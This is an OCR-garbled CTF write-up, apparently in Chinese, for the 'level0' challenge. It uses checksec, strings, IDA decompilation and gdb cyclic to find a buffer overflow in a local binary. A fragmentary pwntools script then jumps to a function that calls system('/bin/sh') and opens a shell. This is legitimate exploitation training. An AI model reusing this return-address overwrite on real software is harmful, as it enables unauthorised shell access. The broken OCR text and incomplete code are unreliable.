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® & @ giantbranch@ubuntu: ~/Desktop/gfsj

giantbranch@ubuntu:~5 cd Desktop/
giantbranch@ubuntu:~/D topS mkdir gfsj
giantbranch@ubuntu:~/D op$ cd gfsj/
giantbranch@ubuntu:~/Desktop/gfsjs mkdir level®
mkdir: cannot create directory “level@’: File exists
giantbranch@ubuntu:~/Desktop/gfsjs mkdir level2z
giantbranch@ubuntu:~/D top/gfsjis ls
leveld Tlevel2
giantbranch@ubuntu:~/Desktopfgfsjs file levelo
level®: ELF 64-bit LSB executable, x86-64, version 1 (5YSV), dynamically linked,
interpreter flib64/1d-1linux-x86-64.s50.2, for GNU/Linux 2.6.32, BuildID[sha1]=8d
cOb3ec5a7b489e61a71bc1afa7974135b0d3d4, not stripped
giantbranch@ubuntu:~/Desktopfgfsj$ checksec level®
[*] '/home/giantbranch/Desktop/gfsj/leveln’
Arch: amd64-64-1little
RELRO:
Stack:
NX:
PIE:
giantbranch@ubuntu:~/Desktop/gfsis$ |

A, MmFE, 6446 RITIF TNXIRY", #FRE — T X4 5] F i 775 &

strings: 'level®': No such file
giantbranch@ubuntu opS cd gfsj/
giantbranch@ubuntu op/9fsiS strings levelo
/1ib64/1d-1inux-x8 2

libc.so.6

read

system

|__libc_start_main

write

|__gmon_start__

GLIBC 2.2.5

Gce: (Debian 4.9.2-18) 4.9.2
Gce: (Debian 4.8.4-1) 4.8.4
.symtab

.strtab

.shstrtab

.interp
.note.ABI-tag
.note.gnu.build-id
.gnu.hash

.dynsym

.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt

.init

. text

.fini

.rodata
.eh_frame_hdr
.eh_frame
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.ﬁni:array

.comment

crtstuff.c

| JCR_LIST__
deregister_tm_clones
register_tm_clones
|__do_global_dtors_aux

RINE systemFl/bin/sh, {64 HIIDARFFE—T .

‘; IDA - level0 C:\Users\86130\Downloads\levelQ — X
File Edit Jump Search View Debugger Lumina Options Windows Help
AE eva vy MM & 3 o DO ket vFe X > 0 O|No debugger v el AR
3 [T e i 1 i [T z
Library function [l Regular function [l Instruction Data Unexplored External symbol [l Lumina function
(7] Functions window o 8 x IDA View-A [EPseudocode- B @ Hex View-1 [E Structures [E  Enums % Imports & Exports
Function name A 1jint __cdecl main(int argc, const char **argv, const char **envp)
= - 2
|z]7write 3| write(1, "Hello, World\n", @xDulLlL);
@}ystem 4 return vulnerable_function(1LL);
5

@ _read

|z] __libc_start main
[#]__gmon_start_

@ _start

E deregister_tm clones
[7] register_tm_clones
@ _ do_global_dtors_aux
E frame_dummy

[7] callsystem

@ wulnerable_function
[z main

[F] _libc_csu_init

[F] _tibc_csu fini

[F] _term_proc

(7] write

@ system

E read

[#] _libc_start_main

@ __gmon start__ v

< >

Line 15 of 23 000005E4 main:5 (4005E4)

[E Output window o8 x
Propagating type information... ~

Function argument information has been propagated

lumina: InitializeSecurityContext[2]: UM E 55, olbs A IE .

The initial autoanalysis has been finished.

40085A6: using guessed type _ int64 _ fastcall vulnerable_function(_QWORD); v
IDC

AU: idle Down Disk: 140GB

RE-MEFERE, RART.

‘Q IDA - level0 C:\Users\86130\Downloads\levelQ — X
File Edit Jump Search View Debugger Lumina Options Windows Help
SH e@vs v * v F g X! b @ O|No debugger MIEGIC NG R

L0 i m [ -

Library function [l Regular function [l Instruction || Data [l Unexplored External symbol [l Lumina function

va

(7] Functions window o s x IDA View-A [EPseudocode-A B [@ Hex View-1 [ Structures E  Enums %  Imports & Exports
ssize_t vulnerable_function()

Function name 2 1
|z] _write ;
[7] system 4
@ _read 5
|z] __libc_start main é
@ __gmon_start__

@ _start
|z] deregister_tm_clones
@ register_tm_clones
@ _ do_global_dtors_aux
|z] frame_dummy
@ callsystem
@ vulnerable_function
[E main
@ _ libc_csu_init
[F] _tibc_csu fini
[F] _term_proc
(7] write
@ system
E read
[#] _libc_start_main
@ __gmon start__ v

char buf[128]; // [rsp+eh] [rbp-86h] BYREF

return read(®, buf, @x286€uLL);
i

<
Line 15 of 23 000005A6 vulnerable function:l (4005A6)

[E Output window o &8 x

Propagating type information... A

Function argument information has been propagated

lumina: InitializeSecurityContext[2]: IZWgEIfY3 S50, dhs AL .

The initial autoanalysis has been finished.

4085A6: using guessed type _ int64 _ fastcall vulnerable_function(_QWORD); v
IDC

AU: idle Down Disk: 140GB




read B F7EAR Wi BRI, 32 T R F#K— T systemF/bin/sh

% IDA - level0 C:\Users\86130\Downloads\levelQ — X
File Edit Jump Search View Debugger Lumina Options Windows Help
SH Eve v 28 ) o @0 dd @ Fv X > @O[No debugger BIESE:

3 [ 0 Y i m [ S
> <

Library function [l Regular function [l Instruction Data Unexplored External symbol Lumina function

7] Functions window B g = IDA View-A Pseudocode-A @ [FStack of vulnerable_function B Hex View-1 [& Structures ) Enuns 3 Inports [ Exports
Function name [ 1jint callsystem()

|z] _write

@ _system

@ _read

|z] __libc_start main

@ __gmon_start__

@ _start

|z] deregister_tm_clones
@ register_tm_clones

@ _ do_global_dtors_aux
|z] frame_dummy

[z callsystem

@ wulnerable_function
|z] main

@ _libc_csu_init

[F] _tibc_csu fini

[F] _term_proc

(7] write

@ system

@ read

[#] _libc_start_main

@ __gmon start__ v

return system("/bin/sh");

B W
-~

i

<
Line 13 of 23 00000596 callsystem:1 (400596)

[E Output window o &8 x

Propagating type information... A

Function argument information has been propagated

lumina: InitializeSecurityContext[2]: IZWgEIfY3 S50, dhs AL .

The initial autoanalysis has been finished.

4005A6: using guessed type _ int64 _ fastcall vulnerable_function(_QWORD); v
IDC

AU: idle Down Disk: 140GB

RIS TTRE, AT A AR IR 4% 5152 7 Bk 3% B callsystem4b st 7] Lhgetshell T .
gdb i iR 45 2 7 EHE 7 1 R iR

RIP

0x4005b2 <vulnerable_function+12>
0x4005b7 <vulnerable_function+17>
@x40e5ba <vulnerable_function+20>
ex4005bf <vulnerable_function+25>

0x4005c4 <vulnerable_function+3e>
= 0x4005c5 <vulnerable_function+31>

0x6261616b6261616a ('jaabkaab')
0xa616d6261616c /* 'laabma\n' */
0x100000000

0x8
TFFFFFFFdf2
0x1f7ffccad

100000000
400600 ibc_csu_init
Tffff7a2da3e ibc_start_main+240

cyclic -1 0x00000000004005c5

[CRITICAL] Pattern contains characters not present in the alphabet
cyclic -1 haab

128

giantbranch@ubuntu: ~/Desktop/gfsj

@rom pwn im
#r reme

p = process(’
p-recv()




+ p64(callsys_addre)

p-interactive()

"exp.py" BL, 178C

BATHIA, Bihgetshell
® © @ giantbranch@ubuntu: ~/Desktop/gfsj

[+] starting local process './level®': pid 2735
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
1s
[*] Process './level®' stopped with exit code -11 (SIGSEGV) (pid 2735)
[*] Got EOF while sending in interactive
giantbranch@ubuntu:~/D top/gfsjS vim exp.py
giantbranch@ubuntu:~/Desktop/gfsj$ python exp.py
[+] Starting local process './level®': pid 2746
[*] Switching to interactive mode
1s
core exp.py level® level2 peda-session-leveld.txt

[*] Interrupted
[*] Stopped process './level®' (pid 2746)
giantbranch@ubuntu:~/D top/gfsjS vim exp.py
giantbranch@ubuntu:~/D op/gfsjS python exp.py
[+] Starting local process './level@': pid 2798
[*] switching to interactive mode
1s
core exp.py leveld level2 peda-session-level®.txt
i

uii:l@@@(giantbranch) gid=1008(giantbranch) QFOUPSﬁﬁﬂgﬂEHﬁEE§E{ﬁEF



	攻防世界 level0

